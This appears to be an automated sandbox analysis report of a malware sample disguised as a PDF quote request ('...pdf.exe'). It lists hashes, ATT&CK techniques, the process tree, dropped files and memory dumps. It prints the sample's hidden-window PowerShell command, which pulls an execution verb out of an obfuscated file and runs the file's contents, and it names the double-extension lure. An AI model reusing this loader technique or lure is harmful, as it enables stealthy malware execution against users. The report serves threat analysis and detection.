1789a36b829cd09dc4fd24323a0d1bb900494714b4cc7083af651630f2c42d2f

General

Target

Quote Request (Tupy S.A.) 523AM - 924BR·pdf.exe
Size

648KB
MD5

93a658e985408e0538044b8b91a2729c
SHA1

c1f250915cb43fc6a46d29dc28a1f09881fe0ded
SHA256

1789a36b829cd09dc4fd24323a0d1bb900494714b4cc7083af651630f2c42d2f
SHA512

5337c140a778e4ababf7dd82fcd280feb2a7e9e9db981c7fed1fff9c0ea8d562afe71992aa054e98ba9c715f0bea48d939f98b171110a7aaffcd372d23e2816e
SSDEEP

12288:zsB4GOFuvCfdDrklbm9QfwYUcTWQ5xQryR2:I4GOFCCFf4m9ESQWQDQ2Q

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2912	powershell.exe

Loads dropped DLL 4 IoCs

pid	Process
3416	Quote Request (Tupy S.A.) 523AM - 924BR·pdf.exe
3416	Quote Request (Tupy S.A.) 523AM - 924BR·pdf.exe
3416	Quote Request (Tupy S.A.) 523AM - 924BR·pdf.exe
3416	Quote Request (Tupy S.A.) 523AM - 924BR·pdf.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Fonts\anorakkerne.ini	Quote Request (Tupy S.A.) 523AM - 924BR·pdf.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4892	2912	WerFault.exe	81

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2912	powershell.exe
2912	powershell.exe
2912	powershell.exe
2912	powershell.exe
2912	powershell.exe
2912	powershell.exe
2912	powershell.exe
2912	powershell.exe
2912	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2912	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3416 wrote to memory of 2912	3416	Quote Request (Tupy S.A.) 523AM - 924BR·pdf.exe	81
PID 3416 wrote to memory of 2912	3416	Quote Request (Tupy S.A.) 523AM - 924BR·pdf.exe	81
PID 3416 wrote to memory of 2912	3416	Quote Request (Tupy S.A.) 523AM - 924BR·pdf.exe	81

C:\Users\Admin\AppData\Local\Temp\Quote Request (Tupy S.A.) 523AM - 924BR·pdf.exe
"C:\Users\Admin\AppData\Local\Temp\Quote Request (Tupy S.A.) 523AM - 924BR·pdf.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:3416
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Omvurderingens=Get-Content 'C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Hoodmold.pal';$Genuflexion=$Omvurderingens.SubString(2127,3);.$Genuflexion($Omvurderingens)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2912
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2912 -s 2600
    3⤵
    - Program crash
    PID:4892

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 208 -p 2912 -ip 2912
1⤵
PID:412

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_epnfrd1h.axo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsa46AF.tmp\AdvSplash.dll

Filesize
6KB

MD5
6def2cf3daf850acdc1a3e7340a439c4

SHA1
95d0d26f60cd5af697502cd5e53a54913ab188fb

SHA256
3ec3cf21a99ab0533ec2c451df3b5542733f70b972089d5c321ad7ae3b87d175

SHA512
16b1cf4783284d4a1282c569f5c416c713b4b339efcd4d3948bdf7da2194c597bd732d07ba9fabafcab323ba8c8da68845d4435ab9d1916b1810087ee1f5c413

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsa46AF.tmp\BgImage.dll

Filesize
7KB

MD5
2bb17d45e5ad92053ce1e500408dd8a9

SHA1
f5d3a7ee6e28df532e9ce33976c92ff30a5665e4

SHA256
71ce676703dad028e4083e6b960b1ed89885877079d46d5021506eaa6d99db53

SHA512
efdcb476b9b9b5691fe6b9cd77ecbe48d50c6683da01fd51c6b428cc262528fb3dcd295abe28718321b2307b0e032fcb599588f1eb00a93fd9e6a1f7b322b41f

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsa46AF.tmp\UserInfo.dll

Filesize
4KB

MD5
8ef0e4eb7c89cdd2b552de746f5e2a53

SHA1
820f681e7cec409a02b194a487d1c8af1038acf0

SHA256
41293b9f6588e0fbdc8fcf2a9bd8e2b244cd5ff038fc13033378da337219c9dc

SHA512
a68533e8a19637d0d44219549b24baba0dc4824424842f125600fda3edcafc4bb6bb340d57a00815f262d82373b440d58d6e4e5b2ceb29bb3f6bc4cbde66c3c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsa46AF.tmp\nsExec.dll

Filesize
6KB

MD5
c129bc26a26be6f5816a03520bb37833

SHA1
18100042155f948301701744b131c516bf26ddb8

SHA256
d3694fa0503158194129d113fcc1c83177ff5a5f93d898ce0bcfe9ce12f06bf4

SHA512
dbe79859c41e00a6e951cee889e7f0de29a712792fb531662285a2d6e384884518c7d5d983894c185b3d31d81213d2477cf4576b0114d352b759fe07a1704e63

Download Submit
C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Hoodmold.pal

Filesize
69KB

MD5
f10a2e78305cc76f40bc76797a5aca0e

SHA1
d107e88d4968c40da18b58a6ac7112e39410189d

SHA256
ab066f63579ee3e93dce7659a29411242b96046c457995c77c129ead19dfc4f8

SHA512
922c1c3967fd723430211e0e6ef09bb485e4e6ec8e95233a9d7c71a8c41c8d8276dae064648990974c1e093f19eae495b6be1956ef2e7f349ecb68621d3c2f00

Download Submit
C:\Users\Admin\Pictures\slukningen.lnk

Filesize
996B

MD5
8a0d70327127ebe22e07c92105470a30

SHA1
7a0374d3f2f3b997a595aba33770469c6e304efc

SHA256
fe26a003909ac37085768aa27c75a03a0c754e745dc59d2da525bfd1986635cb

SHA512
aa0aea7320576ab28875aa2fdacc8b58d1d7d59e7a2ee391012ac30789b3043963b96778d27ecf5bb7ff9d3f23e85e6547d9937282a7e6d1daa3a8051b65d42a

Download Submit
memory/2912-182-0x0000000006200000-0x0000000006266000-memory.dmp

Filesize
408KB

Download
memory/2912-195-0x0000000006980000-0x00000000069CC000-memory.dmp

Filesize
304KB

Download
memory/2912-180-0x0000000073F60000-0x0000000074710000-memory.dmp

Filesize
7.7MB

Download
memory/2912-181-0x0000000005A20000-0x0000000005A42000-memory.dmp

Filesize
136KB

Download
memory/2912-183-0x0000000006270000-0x00000000062D6000-memory.dmp

Filesize
408KB

Download
memory/2912-179-0x0000000073F60000-0x0000000074710000-memory.dmp

Filesize
7.7MB

Download
memory/2912-177-0x0000000003300000-0x0000000003336000-memory.dmp

Filesize
216KB

Download
memory/2912-193-0x00000000063E0000-0x0000000006734000-memory.dmp

Filesize
3.3MB

Download
memory/2912-194-0x00000000068D0000-0x00000000068EE000-memory.dmp

Filesize
120KB

Download
memory/2912-178-0x0000000005AD0000-0x00000000060F8000-memory.dmp

Filesize
6.2MB

Download
memory/2912-196-0x0000000007910000-0x00000000079A6000-memory.dmp

Filesize
600KB

Download
memory/2912-197-0x0000000006E00000-0x0000000006E1A000-memory.dmp

Filesize
104KB

Download
memory/2912-198-0x0000000006E70000-0x0000000006E92000-memory.dmp

Filesize
136KB

Download
memory/2912-199-0x0000000007F60000-0x0000000008504000-memory.dmp

Filesize
5.6MB

Download
memory/2912-176-0x0000000073F6E000-0x0000000073F6F000-memory.dmp

Filesize
4KB

Download
memory/2912-201-0x0000000008B90000-0x000000000920A000-memory.dmp

Filesize
6.5MB

Download
memory/2912-203-0x0000000073F60000-0x0000000074710000-memory.dmp

Filesize
7.7MB

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